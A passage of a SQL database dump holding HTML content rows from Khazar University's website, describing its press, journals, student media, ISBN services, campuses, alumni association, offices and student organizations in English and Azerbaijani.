of Humanities and Social Sciences, was invited by the faculty and staff of the School of Social Sciences and Psychology at Baku State University','<p>On May 19, 2016, Khayala Mammadova, Assistant Editor for Khazar\r\nJournal of Humanities and Social Sciences, was invited by the faculty and staff\r\nof the School of Social Sciences and Psychology at Baku State University to\r\norganize a seminar on “Guidelines for Writing Articles for Scientific Journals\r\nand Submitting them for Publication.” </p>\r\n<p>The two-hour seminar covered a comparative analysis of standards for\r\nacademic articles submitted to local journals vs. international journals and\r\nrelated issues. Participants were also informed in detail about how to choose\r\nan appropriate scientific journal before preparing their article for\r\npublication. </p>\r\n<p>At the end of the event, Khayala Mammadova explained the recent\r\nachievements of Khazar Journal of Humanities and Social Sciences and answered\r\nparticipants’ questions.&nbsp;</p>'),(73,80,'en','Khazar University Press','Khazar University Press','<p>Khazar University Press, an independent publishing house affiliated with Khazar University,</p><p>produces printed publications related to educational and research fields.</p><p>The publishing house mainly produces textbooks, monographs, conference transactions, scholarly journals, magazines, and other quality</p><p>prose works.</p><p>It also publishes works translated from English and other languages into Azerbaijani and vice versa.</p><p>Since its founding in 1995, the Khazar University Press has been publishing the magazine (with a wide range of fields)&nbsp;Khazar Review&nbsp;(Azerbaijani: Xəzər Xəbər jurnalı) in three languages (English, Azerbaijani, and Russian).</p><p>The publishing house is also known for the academic Journal of Azerbaijani Studies (Azərbaycan Araşdırmaları Jurnalı), which was renamed</p><p>Khazar Journal of Humanities and Social Sciences&nbsp;in 2011, and the&nbsp;Azerbaijan Archeology Journal&nbsp;(Azərbaycan Arxeologiyası jurnalı).</p><p>Khazar University Press also acts as the national ISBN agent for Azerbaijan as well as its national ISMN agent.</p><p><a href=\"http://www.khazar.org/en/menus/76/isbn_ismn_services\">ISBN/ ISMN Services</a></p>'),(74,81,'en','Khazar Journal of Humanities and Social Sciences','Khazar Journal of Humanities and Social Sciences','<p><a href=\"http://jhss-khazar.org/\">Khazar Journal of Humanities and Social Sciences</a></p>'),(75,82,'en','Khazar Review','Khazar Review','<p>The popular and editorial/scientific&nbsp;<a href=\"http://khazar-review.khazar.org/\">Khazar Review</a>&nbsp;is the only journal of its kind among journals published by Azerbaijani higher education institutions.</p><p>It was originally published in a newspaper style, then was published twice a month as a 40-page magazine for several years.</p><p>Since 2010 it has been published monthly in an 80-page magazine format.</p><p>In October 2011, the 300<sup>th</sup> edition of the Khazar View journal was printed.</p><p>Subscription to the journal is managed through the “Azermetbuatyayimi” Open Joint-Stock Company and “Gasid” Open Joint-Stock Company, while retail sales are handled by “Metroservis” LLC.</p><p>At the same time, the journal is distributed free of charge to many individuals and organizations.</p><p>From the first edition until the present, the senior editor of the journal has been Professor Hamlet Isakhanli, who was the president of Khazar University until September 2010 and since that time has been serving as the Chairman of the University’s Board of Directors and Trustees.</p><p>Nationally recognized academic and cultural workers are represented in the journal’s editorial board.</p><p><a href=\"http://khazar-review.khazar.org/\">Official site</a></p>  <h3><br></h3><h3>Contact</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Balayev_Alirza-CV.pdf\"><img src=\"/files/letters/alirza_b.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:144px\">Alirza Balayev</a></strong></p><p><strong>Deputy Editor-in-Chief  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:abalayev@khazar.org\">abalayev[at]khazar.org</a>&nbsp;</p><p><strong>Phone: </strong>(+99412) 421 10 93 (209)</p><p><br></p>\r\n <hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Afruz_Farzaliyeva-CV.pdf\"><img src=\"/files/letters/efruz_f.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:130px\">Afruz Farzaliyeva</a></strong><br></p><p><strong>Proofreader  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eferzeliyeva@khazar.org\">eferzeliyeva[at]khazar.org</a></p>'),(6142,3498,'en','Workshop for students at the Career Centre','On October 8, 2018, the Career Centre at Khazar University held a workshop...','<p>On October 8, 2018, the Career Centre at Khazar University held a workshop “Education abroad within a scholarship program” for students. The workshop was organized by Sabina Allahveranova, Manager of the Career Centre. Students from various Schools attended the workshop and they were informed about scholarship programs and relevant documents to submit for admission as well as a research strategy. The aim of the workshop was to support students in issues related to education abroad and help them plan a future career.</p><p>During one-and-a half hour workshop, the students gained all necessary information they were interested in.</p>'),(76,83,'en','Student newspaper','Student newspaper','<p>Student Newspaper “KHAZAR COURIER”</p><p>Beginning from December 2012, student newspaper is being published at Khazar University by the name “ Khazar Courier.” The newspaper is being published in English language by the English Language and Literature Department. The&nbsp; basis of the newspaper composes students’ articles, interviews and literary works. ‘Khazar Courier” was founded with the aim to improve students’ writing and speaking skills in English, to increase the amount of the student readers in English.</p><p>The newspaper is publishing colorful in A3 format of 4 pages. Moreover, the length and format of the newspaper will possibly change and improve in the future. The editor of the newspaper is&nbsp; Jamala Mammadova, Major Program Coordinator at the English Language and Literature Department, and Editorial Assistant is Jabir Mammadli, Coordinator of the Journalistic Department at Khazar University. The newspaper was realized and published first by the idea of Joel Robbins.</p><div>&nbsp;</div><p>Contact:&nbsp;Editor:&nbsp;&nbsp; Jamala Mammadova</p><p>E-mail:&nbsp;<a href=\"mailto:Jmammadova@khazar.org\">Jmammadova@khazar.org</a>&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:Jamala.mammadova@gmail.com\">Jamala.mammadova@gmail.com</a>&nbsp;</p><p>&nbsp;Tel: (+99412) 421 79 16</p><p>&nbsp;Fax:(+99412) 498 93 79&nbsp;</p><div>&nbsp;</div><p>Contact:&nbsp;Editorial Assistant: Jabir Mammadli</p><p>E-mail:&nbsp;&nbsp;<a href=\"mailto:ja1az@yahoo.com\">ja1az@yahoo.com</a></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:cmammadli@khazar.org\">cmammadli@khazar.org</a></p><div>&nbsp;</div><p>Telefon:&nbsp;&nbsp;&nbsp; (+99450) 526 55 68 (mobile)</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+99412) 421 7916</p><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_01_25_son3.jpg\" style=\"border:0px  #000000;width:250px;height:352px;margin:7px;float:left\"><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/Khazar%20Courier1.pdf\">Khazar Courier1</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar%20Courier2.pdf\">Khazar Courier2</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar%20Courier3.pdf\">Khazar Courier3</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar_Courier4.pdf\">Khazar&nbsp;Courier4</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Khazar_Courier5.pdf\">Khazar&nbsp;Courier5</a>&nbsp;</p>'),(4935,2880,'az','“Xəzər”in əməkdaşları NİZAMİ layihəsi ilə bağlı növbəti görüşdə','Xəzər Universitetinin Elmi işlər üzrə prorektoru, dosent İradə Xəlilova və universitetin Magistratura, doktrantura...','<p>Xəzər Universitetinin Elmi işlər üzrə prorektoru, dosent İradə Xəlilova və universitetin Magistratura, doktrantura və elmi işlər bölməsinin müdiri Dr. Eldar Şahgəldiyev “Azərbaycanda doktorantura təhsilinin Avropa ali təhsil tələblərinə uyğun yenidən qurulması və inkişafı –&nbsp;NİZAMİ” layihəsi ilə bağlı növbəti görüşdə iştirak etdilər. Yanvarın 29-31-də Azərbaycan Dövlət İqtisad Universitetində təşkil olunmuş görüşdə&nbsp;ali təhsil müəssisələrində doktorantura səviyyəsinin standartlarının yaradılması və inkişaf etdirilməsi məsələləri müzakirə olunmuşdur.</p><p>Dosent İradə Xəlilova “Kommunikasiya –Azərbaycanın tərəfdaş təşkilatları tərəfindən həyata keçirilən işlərin nəticələri” və Dr. Eldar Şahgəldiyev “Professionallaşma – Azərbaycanın tərəfdaş təşkilatları tərəfindən həyata keçirilən işlərin nəticələri” barəsində təqdimatlarla çıxış etmiş və iştirakçıların çoxsaylı suallarını cavablandırmışlar.</p>'),(77,84,'en','Khazar TV','Khazar TV','<p>Since 2010, Khazar University has been broadcasting from the Voice of Khazar internet TV. It is a 24-hour world-wide broadcast presenting world and Azerbaijani films, national music of various styles, classical music and other programs. This is Azerbaijan’s first university TV station. (tv.radiokhazar.org)&nbsp;</p><p><a href=\"http://www.khazar.org/s520/Khazar-TV/tv.radiokhazar.org\">&nbsp;</a><span class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media15651966928322003\" width=\"150\" height=\"100\" style=\"outline: none; color: rgb(58, 59, 59); font-weight: bold;\"><a href=\"http://radiokhazar.org/?page_id=320\">See the website of Khazar TV</a></span></p><div><br></div>'),(78,85,'en','Khazar University Radio','Khazar University Radio','<p><a href=\"http://radio.khazar.org/\" style=\"font-size:large\"><strong>Khazar University Radio</strong></a></p>'),(79,86,'en','ISBN & ISMN Services','ISBN & ISMN Services','<p><strong>ISBN Services&nbsp;</strong></p><p>Khazar University Press acts as the sole International Standard Book Number (ISBN) agency for the country of Azerbaijan.&nbsp;For more information on ISBN, please see <a href=\"http://www.isbn-international.org/agency\" target=\"_blank\">http://www.isbn-international.org/agency</a>.   <br></p><p>KUP is also the International Standard Music Number (ISMN) agency for Azerbaijan. For more information on ISMN, please see&nbsp;<a href=\"http://www.ismn-international.org/agencies/azerbaijan.html\" target=\"_blank\">http://www.ismn&nbsp;international.org/agencies/azerbaijan.html</a>.  <br></p><p>There is currently no ISSN agency in Azerbaijan, but KUP also assists those wishing to obtain ISSN numbers as a support center.&nbsp;</p><p><strong>Resources:</strong>  <br></p><p><a href=\"http://www.khazar.org/en/menus/829/_isbn_frequently_asked_questions\">ISBN Frequently Asked Questions</a></p><p>Download&nbsp;<a href=\"http://www.khazar.org/files/pdf/ISBN_Request_form%20(6).docx\">ISBN&nbsp;Request&nbsp;form</a></p><p>View&nbsp;<a href=\"http://www.khazar.org/en/menus/830/_index_of_publications\">index of publications</a>&nbsp;assigned ISBN numbers</p><p><strong>Contact us:</strong></p><p>For ISBN, ISMN or ISSN questions, contact:</p><p><strong>Mr. Zakir M. Yusifoglu</strong></p><p>41 Mehseti St.,&nbsp;Baku AZ1096</p><p><strong>Phone:</strong> (+994 12) 4217916</p><p><strong>Fax:</strong>&nbsp;(+994 12) 4989379</p><p><a href=\"mailto:zyusifoglu@khazar.org\" target=\"_blank\">zyusifoglu@khazar.org</a></p>'),(80,87,'en','Campuses','Campuses','<p><strong><span style=\"font-size:large\">The classes at the university are conducted in 5 educational campuses with a total area of 17.542 square meters.</span></strong></p><p><strong><span style=\"font-size:large\"> </span></strong> <br></p><p><img src=\"http://www.khazar.org/files/demo/225px-X%23U0259z%23U0259r_Universiteti047.jpg\" style=\"width:225px;height:151px;margin:7px 8px 7px 7px;float:right\"></p><h3><strong>Neftchilar Campus-1&nbsp;</strong></h3><p><strong></strong><strong>Address: 41 Mahsati Street&nbsp;</strong></p><p>The publishing house, printing house, copy center, scientific and educational laboratories, academic departments, scientific institutes and centers as well as the offices of published literary-publicistic journals are located here. One part of the rich university library, modern computer centers, medical center and a sport hall serve students and staff members. </p><p><br></p><p><strong><br></strong></p><p><strong><br></strong></p><h3><strong>Neftchilar Campus-2&nbsp;</strong></h3><p><strong><img src=\"http://www.khazar.org/files/demo/110px-X%23U0259z%23U0259r_Universiteti025.jpg\" style=\"border:0px  #000000;width:160px;height:258px;float:right;margin:7px\"></strong></p><p><strong></strong><strong>Address: 41 Mahsati Street</strong></p><p><strong></strong>The educational building consists of computer centers equipped with the most modern computers, modern whiteboards, and projectors, as well as large and light lecture rooms equipped with video-control systems; a canteen which exceeds all hygiene requirements and covers the first floor of the building; a large library which is located on the 5th and 6th floors of the building and is rich in modern textbooks; and a specially-designed conference hall.</p>\r\n<p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><h3><strong>Downtown Campus</strong><img src=\"http://www.khazar.org/files/demo/230px-X%23U0259z%23U0259r_Universiteti038_BS.jpg\" style=\"width:230px;height:153px;margin:7px;float:right\"></h3><p>This building consists of over 20 classrooms, a conference center, canteen, library and computer laboratory as well as a beautiful theater hall seating 280 people. The same hall is used for conducting conferences, reading days, various meetings and other events.</p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><h3><strong>Binagadi Campus   <br></strong></h3><p><strong>Address: 9 Nakhchivani Street<img src=\"http://www.khazar.org/files/demo/220px-D%23U00fcnya_m%23U0259kt%23U0259bi_binas%23U0131.jpg\" style=\"border:0px  #000000;width:230px;height:171px;margin:7px;float:right\"></strong></p><p>Khazar University’s affiliate Dunya School is located here, and some classes of the School of Education are held here as well. This campus, built according to a modern design, takes up approximately one hectare. It houses three academic buildings and a separate sports complex, and is equipped with all the necessary facilities including a library, scientific laboratories, computer laboratories, a cafeteria, a guesthouse and more. The Khazar University Technopark is also located on this campus</p>  <p><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><h3><strong>Khazar University Psychological Consultation and Psychotherapy Center  <br></strong></h3><p><strong>Address: 31 Hazi Aslanov Street&nbsp;</strong></p><p>The aforementioned center of the university conducts activity on this site. The Center serves the public and organizations along with being engaged in scientific research and education.&nbsp;</p>'),(2436,1475,'az','MƏZUNLAR','MƏZUNLAR','<h3></h3><h3>Əziz\r\nməzunlar!</h3>\r\n<p>Sizinlə\r\nbağlı səhifəmizə xoş gəlmisiniz. Bu səhifəni yaradarkən, sizinlə Xəzər\r\nUniversiteti arasında mövcud olan bağları möhkəmləndirmək, qazandığınız uğurlar\r\nbarədə Xəzər Universitetinin tələbə və müəllim kollektivini, eləcə də\r\nuniversitetimizlə maraqlanan hər kəsi daha dərindən məlumatlandırmaq, əldə\r\netdiyiniz nailiyyətlərin sevincini sizinlə birgə yaşamaq kimi məqsədləri\r\nqarşımıza qoymuşuq. Artıq məzunların Xəzər Universiteti ilə əməkdaşlığını gücləndirmək\r\nməqsədilə bir sıra addımlar atılmışdır. <strong>Universitet məzunlarının bir qrupunun təşəbbüsü\r\nilə 2016-cı ilin iyun ayında Xəzər Universitetinin Məzunlar Assosoasiyası təsis\r\nolunmuş, məzunların universitetlə əməkdaşlığını nəzərdə tutan tədbirlər planı\r\nişlənib hazırlanmışdır.&nbsp;</strong></p><p>&nbsp;</p><iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/twwA9TwW1q0\" frameborder=\"0\"></iframe><br><br><p>Ümid edirik ki, siz həm bu təşkilatın fəaliyyətində\r\nyaxından iştirak edəcək, həm də universitetlə birbaşa əlaqələr qurmaqla, Xəzər\r\nUniversiteti ilə məzunların sıx əlaqələrinin təmin edilməsinə öz töhfənizi verəcəksiniz.\r\nBiz sizin hər birinizi universitetdə yenidən görməyə, irəli sürəcəyiniz faydalı\r\ntəşəbbüslərə dəstək verməyə şad olarıq. Unutmayın ki, sizin hər uğurunuzu öz\r\nuğurumuz hesab edir, sizinlə qürur duyuruq.</p>\r\n<p>Hörmətlə,</p>\r\n<p><strong>Xəzər\r\nUniversitetinin Məzunlarla İş Mərkəzi</strong></p>  <p><iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/Mqp7tQzowLk\" frameborder=\"0\"></iframe></p>'),(2437,1475,'en','ALUMNI','ALUMNI','<h3>Dear alumni</h3>\r\n<p>Welcome to our page\r\nabout you. While we were creating this page, our objectives were to strengthen\r\nthe ties between you and Khazar University, inform Khazar students and faculty\r\nas well as others who are interested in the university about your successes,\r\nand to share in the joy of your accomplishments. We have already taken several\r\nsteps to strengthen partnerships between the university and our alumni. <strong>With\r\nthe initiative of one group of graduates, the Khazar University Alumni\r\nAssociation was founded in June of 2016, and alumni have planned several events\r\nto develop partnership.</strong></p><p>&nbsp;</p><iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/twwA9TwW1q0\" frameborder=\"0\"></iframe><br><br><p>We hope that you will also participate in these events and make your own contribution toward university-alumni partnership by building a relationship with us. We would be very happy to see each one of you at the university and to support your initiatives. Don’t forget that we consider each of your accomplishments as part of our own success and we are proud of you.  <br></p><p>Respectfully,</p>\r\n<p><strong>Khazar University Center for Alumni Relations</strong></p>  <p><iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/Mqp7tQzowLk\" frameborder=\"0\"></iframe></p>'),(81,88,'en','Offices and Services','Offices and Services','<strong><h3><a href=\"http://www.khazar.org/en/menus/781/office_of_rector\">Office of Rector</a>&nbsp;</h3></strong><h3><strong><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Offices of Vice-Rectors:</a>&nbsp;<br></strong></h3><br><ul><li><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Office of Vice-Rector for Academic Affairs</a></li><li><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Office of Vice-Rector&nbsp;for Administration and Student Affairs</a></li><li><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Office of Vice-Rector&nbsp;for&nbsp;Research</a></li><li><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">Office of Vice&nbsp;Rector&nbsp;for International Affairs</a></li></ul><br><br><strong><a href=\"http://www.khazar.org/en/menus/785/deans_offices\"><h3>Deans\' Offices:<strong></strong></h3></a></strong><br><ul><li><a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_science\">School of Engineering And Applied Science</a></li><li><a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a></li><li><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities</a></li><li><a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a></li></ul><br><br><h3><strong>Academic Offices:<br></strong></h3><br><ul><li><a href=\"http://www.khazar.org/en/menus/17/division_of_graduate_studies_and_research\">Division of Graduate Studies and Research</a>&nbsp;</li><li><a href=\"http://www.khazar.org/en/menus/19/academic_departments\">Academic Departments</a>&nbsp;</li><li><a href=\"http://www.khazar.org/en/menus/18/institutes_and_centers\">Institutes and Centers</a></li></ul><br><br><h3><strong>Administrative Offices:<br></strong></h3><br><ul><li><a href=\"http://www.khazar.org/en/menus/870/_human_resources\">Human Resources</a></li><li><a href=\"http://www.khazar.org/en/menus/884/our_staff\">Public Relations and Media Office</a></li><li><a href=\"http://www.khazar.org/en/menus/875/registration_and_record_office\">Registration and Record Office</a></li><li><a href=\"http://www.khazar.org/en/menus/1246/admission_and_information_office\">Admission and Information Office</a></li><li><a href=\"http://www.khazar.org/en/menus/886/personnel_office\">Personnel Office</a></li><li><a href=\"http://www.khazar.org/en/menus/887/financial_office\">Financial Office</a></li><li><a href=\"http://www.khazar.org/en/menus/888/accounting_office\">Accounting Office</a></li><li><a href=\"http://www.khazar.org/en/menus/1231/information_technology_office\">Information Technology Office</a></li><li><a href=\"http://www.khazar.org/en/menus/1245/information_systems_office\">Information Systems Office</a></li><li>Procurement Office</li><li><a href=\"http://www.khazar.org/en/menus/1249/repair_and_construction_office\">Repair and Construction Office</a></li><li><a href=\"http://www.khazar.org/en/menus/1248/maintenance_office\">Maintenance Office</a></li><li><a href=\"http://www.khazar.org/en/menus/889/printing_house\">Publishing House</a></li><li><a href=\"http://www.khazar.org/en/menus/889/printing_house\">Printing House</a></li><li><a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></li><li><a href=\"http://www.khazar.org/en/menus/890/institutional_research\">Institutional Research Center</a></li><li><a href=\"http://www.khazar.org/en/menus/1187/library\">Library and Information Center</a></li><li><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">Career Development&nbsp;Center</a></li><li><a href=\"http://www.khazar.org/en/menus/100/media_resource_center\">Media Center</a><a href=\"http://www.khazar.org/en/menus/100/media_resource_center\"></a></li><li><a href=\"http://www.khazar.org/en/menus/424/internet_education_center\">Internet Education&nbsp;Center</a></li><li><a href=\"http://www.khazar.org/en/menus/894/the_health_care_center\">Health Care Center</a></li><li><a href=\"http://www.khazar.org/en/menus/101/khazar_psychology_counselling_center\">Khazar Psychology Counselling Center</a></li><li><a href=\"http://www.khazar.org/en/menus/897/canteen\">Canteen</a></li><li><a href=\"http://www.dunyaschool.az/\" target=\"_blank\">Dunya School Offices</a></li></ul>'),(82,89,'en','Student Union','Student Union','<p><strong>The Student Union (SU)</strong>&nbsp;is the main student organization\r\nof Khazar University; it is an elected body governed by the Student Senate,\r\nwhich is composed of the SU President, Vice-President and Committee leaders.\r\nThe SU has the following Committees:</p><p><strong>Education Committee:</strong></p><ul><li>Assists\r\nstudents to overcome academic problems<br></li><li>Organizes\r\nmeetings between the students, faculty and staff members<br></li><li>Organizes\r\ninterest clubs<br></li><li>Assists\r\nfaculty evaluation procedures (Student Poll) conducted jointly with the\r\nAcademic Quality Assurance Center<br></li></ul><strong style=\"font-size:large\">Culture\r\nCommittee:</strong><br><ul><li>Promotes\r\nAzeri culture among local and international students<br></li><li>Provides\r\ninformation about the other national cultures<br></li><li>Supports\r\nconcerts and performances of the University dance and choir ensembles<br></li></ul><strong><span style=\"font-size:large\">Sports\r\nCommittee:</span></strong><br><ul><li>Organizes\r\nlocal championships and tournaments  <br></li><li>Encourages\r\nUniversity students to participate in sports<br></li></ul><strong><span style=\"font-size:large\">Law\r\nCommittee:</span><br></strong><ul><li>Prepares\r\nand oversees official SU documents</li><li>Protects\r\nthe rights of University studens</li></ul><strong><span style=\"font-size:large\">Audio-Video-Photo\r\nCommittee:</span><br></strong><ul><li>Supplies\r\nthe University dance and choir ensembles with audio recordings</li><li>Records\r\nthe University’s important events</li><li>Maintains\r\nphoto and video archives</li><li>Provides\r\nphotography for the University newspaper, students, and faculty</li></ul><strong style=\"font-size:large\">Student\r\nEditorial Committee:</strong><br><ul><li>Prepares\r\narticles for the University magazine “Khazar View” and other chronicles</li><li>Advertising\r\ninteresting events and lectures at the University</li></ul><strong style=\"font-size:large\">Radio\r\nCommittee:</strong><br><ul><li>Broadcasts\r\nradio programs on the University campuses</li><li>Provides\r\nthe Khazar community with the University news</li></ul><strong style=\"font-size:large\">Public\r\nRelations Committee:</strong><br><ul><li>Disseminates\r\ninformation about Khazar University and the Student Union</li><li>Establishes\r\nrelations with secondary schools and partner Universities</li><li>Collaborates\r\nwith international companies and organizations</li></ul><strong style=\"font-size:large\">Grant\r\nResearch Committee:</strong><br><ul><li>Oversees\r\ngrants for new research projects</li><li>Establishes\r\nrelations with ministries, NGOs, student organizations, and international\r\nfoundations</li></ul><strong style=\"font-size:large\">Debate\r\nclub:</strong><br><ul><li><p>Organizes\r\npractices and&nbsp;debate tournaments</p></li></ul>'),(83,90,'en','Student Services','Student Services',''),(84,91,'en','Student Support System','Student Support System','<p>The majority of students are young people with little life experience outside the classroom.&nbsp;Therefore, these students need support and mentorship.&nbsp;Along with research excellence and quality education, Khazar University offers a comprehensive program exclusively for supporting and assisting students.&nbsp;</p><p>Khazar University\'s Student Support System was established to assist students in various fields related with their studies and life.</p><p>This Student Support System encourages students to live well both inside and outside the classroom.</p><p>The Student Support System aims to help students in a variety of ways, including career development, legal regulation, counseling, psychological support, and special concerns for international students.</p><p>New students receive student handbook, which includes helpful information to acclimate them to the campus and University community.</p>'),(85,92,'en','Student Organizations','Student Organizations','<div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><p>There are many student organizations and clubs functioning at Khazar and representing various interests.<br></p><p>In order to start their functioning and ask for support,\r\nstudent organizations submit their regulations to the review of the University\r\nCouncil and the Council registers them.&nbsp;</p><p>The Graduate Students Council (GSC) is\r\nthe main student body of the Master, Ph.D. and Professional degree students of\r\nKhazar University. In addition to various duties, this body is responsible for\r\nthe selection of graduate students as representatives in the University\r\nCouncil, School Council and The Committee of Graduate Studies.&nbsp;</p><p>Moreover, there\r\nare student associations of various countries and clubs of various interests.\r\nThere are a number of interest clubs and groups, such as: CLIO for students\r\ninterested in different aspects of history, Humor Club, Dancing Club, Foreign\r\nLanguages Studies Club as well as others.&nbsp;</p><p>Some of the student organizations\r\nare volunteer organizations that provide assistance to various groups of\r\npeople, such as elderly or disabled people.&nbsp;</p><p>Khazar University is eager to\r\npromote special professional interests of the students through activities of\r\nthe clubs and profession-oriented student organizations. For example, Student\r\nChapter of the Society of Petroleum Engineers and other profession-oriented\r\nstudent organizations are successfully operating at the University   </p><div style=\"font-size:medium\"><br></div><p><strong>The Student Union</strong></p><p><strong></strong><strong>The Student Union (SU)</strong>&nbsp;is the main student organization of Khazar University; it is an elected body governed by the Student Senate, which is composed of the SU President, Vice-President and Committee leaders. The SU has the following Committees:</p><div><div style=\"font-weight:bold;font-size:medium\"><br></div><div style=\"font-size:medium\"><div style=\"font-weight:bold\"><strong>Education Committee:</strong></div><div><ul><li>Assists students to overcome academic problems<br></li><li>Organizes meetings between the students, faculty and staff members<br></li><li>Organizes interest clubs<br></li><li>Assists faculty evaluation procedures (Student Poll) conducted jointly with the Academic Quality Assurance Center<br></li></ul><div style=\"font-weight:bold\"><strong>Culture Committee:</strong><br></div></div><div><ul><li>Promotes Azeri culture among local and international students<br></li><li>Provides information about the other national cultures<br></li><li>Supports concerts and performances of the University dance and choir ensembles<br></li></ul><div style=\"font-weight:bold\"><strong>Sports Committee:<br></strong></div></div><div><ul><li>Organizes local championships and tournaments&nbsp;<br></li><li>Encourages University students to participate in sports<br></li></ul><div style=\"font-weight:bold\"><strong>Law Committee:<br></strong></div></div><div><ul><li>Prepares and oversees official SU documents</li><li>Protects the rights of University studens</li></ul></div><div style=\"font-weight:bold\"><strong>Audio-Video-Photo Committee:<br></strong></div><div><ul><li>Supplies the University dance and choir ensembles with audio recordings</li><li>Records the University’s important events</li><li>Maintains photo and video archives</li><li>Provides photography for the University newspaper, students, and faculty</li></ul></div><div style=\"font-weight:bold\"><strong>Student Editorial Committee:</strong><br></div><div><ul><li>Prepares articles for the University magazine “Khazar View” and other chronicles</li><li>Advertising interesting events and lectures at the University</li></ul></div><div style=\"font-weight:bold\"><strong>Radio Committee:</strong><br></div><div><ul><li>Broadcasts radio programs on the University campuses</li><li>Provides the Khazar community with the University news</li></ul></div><div style=\"font-weight:bold\"><strong>Public Relations Committee:</strong><br></div><div><ul><li>Disseminates information about Khazar University and the Student Union</li><li>Establishes relations with secondary schools and partner Universities</li><li>Collaborates with international companies and organizations</li></ul></div><div style=\"font-weight:bold\"><strong>Grant Research Committee:</strong><br></div><div><ul><li>Oversees grants for new research projects</li><li>Establishes relations with ministries, NGOs, student organizations, and international foundations</li></ul></div><strong style=\"font-weight:bold\">Debate club:</strong><br></div><div style=\"font-size:medium\"><ul><li>Organizes practices and&nbsp;debate tournaments</li></ul></div>  <br></div>'),(86,94,'en','Cultural Activities','Cultural Activities','<p>The Department of Music and Fine Arts and other related groups promote the cultural activities of the University.</p><p>They develop the cultural life of the university by organizing various dancing events, concerts, and taking an active part in graduation ceremonies and other formal activities.</p><p>They also organize special exhibitions of professional and faculty artists and talented students.</p><p>Khazar is a place where the local community and guests like to come to enjoy music, dance and other performances.</p><p>&nbsp;Khazar is one of the richest cultural centers of Baku.</p><p>While studying at Khazar, students may participate in music, dancing, theater groups and other social activities in order to supplement</p><p>their academic endeavors.</p><p>The university provides necessary facilities for two dance ensembles, as well as national folk, vocal, choral and other music classes, and&nbsp;attracts qualified experts to manage these activities.</p><p>Theatre and musical groups composed of Khazar students and staff are also active at the University.</p><p>Famous professionals and groups in the field of arts and music, as well as artists and groups from other countries frequently visit Khazar</p><p>University and hold concerts, exhibitions and other events here.</p><p>The vocal choirs and dance ensembles of Khazar have won various competitions in Azerbaijan and overseas.</p><p>These ensembles perform many of the national dances and songs of Azerbaijan, the people of the Caucasus and other nations of the world.</p><p>Students can also choose carpet-making, jewelry art and other applied arts as elective courses within Azerbaijani Culture classes.</p>'),(87,95,'en','The Center of National Costumes','The Center of National Costumes','<p>The national costumes of Azerbaijan, the peoples of the Caucasus and others nationalities are gathered in this center.</p><p>The students make all these costumes themselves at the “Sewing Circle for National Costumes.</p><p>\"Students enrolled in the “sewing group” may earn credit in the subject of Azerbaijani Culture.</p><p>Well-known specialists in national costume design teach here.</p><p>The national clothing made, collected and maintained by this team allows the young men and women of the Khazar University Dance&nbsp;Ensembles to perform various nations\' traditional dances more vividly and naturally.&nbsp;</p>'),(88,96,'en','Carpet Museum','Carpet Museum','<p>Carpet making is a very old and highly developed craft.</p><p>Traditionally, Azerbaijan has been one of the world centers for making carpets.</p><p>Since medieval times, there have been four major geographic centers of carpet-making in Azerbaijan, including Guba-Shirvan, Garabagh, Tabriz, and Ganja-Gazakh.</p><p>Each of these schools is distinguished by its styles and patterns as well as manufacturing technique.</p><p>Khazar University‘s Carpet Museum serves both as a museum and as a workshop.</p><p>The workshop is run by professional craftsmen.</p><p>In addition to serving as a small production unit for making carpets, the museum and workshop are also open for use by students taking courses in fine arts.</p>'),(89,97,'en','Jewelry Museum','Jewelry Museum','<p>In 2007 Khazar University founded a jewelry museum within the university.</p><p>It serves not only as a museum, but also a workshop where students who choose 